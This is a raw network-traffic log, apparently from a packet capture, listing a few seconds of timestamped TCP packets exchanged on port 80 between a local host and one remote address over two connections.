Apr 23, 2024 08:39:58.887545109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887547016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887569904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887589931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887653112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887659073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887726068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887738943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887758017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887778044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887778044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887810946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887830973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887833118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887855053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887876034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887885094 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887888908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887948036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.887967110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.887986898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888008118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888012886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888020992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888031960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888040066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888053894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888071060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888071060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888077974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888097048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888138056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888142109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888151884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888163090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888183117 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888207912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888221025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888228893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888231039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888251066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888279915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888279915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888283968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888298035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888341904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888364077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888365984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888387918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888431072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888457060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888463020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888488054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888514042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888535976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888676882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888751030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888911963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888925076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888962984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.888972998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888972998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.888994932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889019012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889060974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889213085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889239073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889264107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889285088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889308929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889308929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889333963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889405012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889473915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889503956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889527082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889542103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889570951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889590979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889604092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889615059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889642954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889642954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889663935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889677048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889714956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889714956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889870882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889883041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889895916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889921904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889921904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889940023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889952898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889964104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889986038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.889992952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.889992952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890057087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890081882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890158892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890172005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890182972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890183926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890193939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890204906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890204906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890218973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890237093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890250921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890263081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890284061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890299082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890299082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890317917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890341043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890368938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890387058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890470982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890522957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890535116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890543938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890547991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890569925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890590906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890614033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890676975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890691042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890753031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890790939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890810013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890814066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890831947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890839100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890861988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890909910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890923023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890933990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890934944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890945911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890947104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890969038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.890976906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890990019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.890996933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891001940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891014099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891032934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891037941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891038895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891055107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891077995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891105890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891124010 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891145945 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891177893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891191006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891202927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891222000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891282082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891299963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891311884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891333103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891350985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891351938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891371012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891443014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891464949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891486883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891505003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891535997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891547918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891551018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891561031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891566992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891572952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891582012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891606092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891608000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891608000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891671896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891709089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891729116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891761065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891782045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891803026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891815901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891827106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891838074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891856909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891856909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891899109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891916990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891932964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891951084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.891971111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891983032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.891990900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892019987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892019987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892040968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892112970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892159939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892182112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892297983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892321110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892386913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892556906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892597914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892611027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892617941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892630100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892635107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892654896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892750025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892771959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892790079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892808914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892838001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892851114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892857075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892863035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892874002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892884970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892899990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.892903090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.892923117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893021107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893033028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893038988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893044949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893064976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893066883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893079996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893085957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893124104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893124104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893193960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893207073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893218040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893229961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893239021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893239021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893241882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893254042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893260956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893268108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893275976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893279076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893290043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893297911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893302917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893325090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893345118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893345118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893356085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893373966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893515110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.893536091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893548965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893560886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893573046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.893580914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.894026995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.894046068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.894368887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.895649910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.895679951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.895699978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.895818949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.895895004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.896058083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.896167994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.896193027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.896254063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.896286964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.896322012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.896342039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.896502018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.896672964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.896720886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.896955013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897054911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.897383928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897593021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897605896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897656918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.897656918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.897795916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897808075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897821903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897840023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.897900105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897912025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897917032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.897923946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897931099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.897943974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.897947073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897962093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.897981882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.897981882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898121119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898133039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898139954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898144960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898156881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898164034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898169041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898175955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898180008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898199081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898212910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898225069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898231030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898247957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898248911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898269892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898292065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898315907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898322105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898328066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898355007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898371935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898389101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898394108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898467064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898550987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898570061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898675919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898694992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.898845911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898864985 CEST	49705	80	192.168.2.7	138.199.40.58
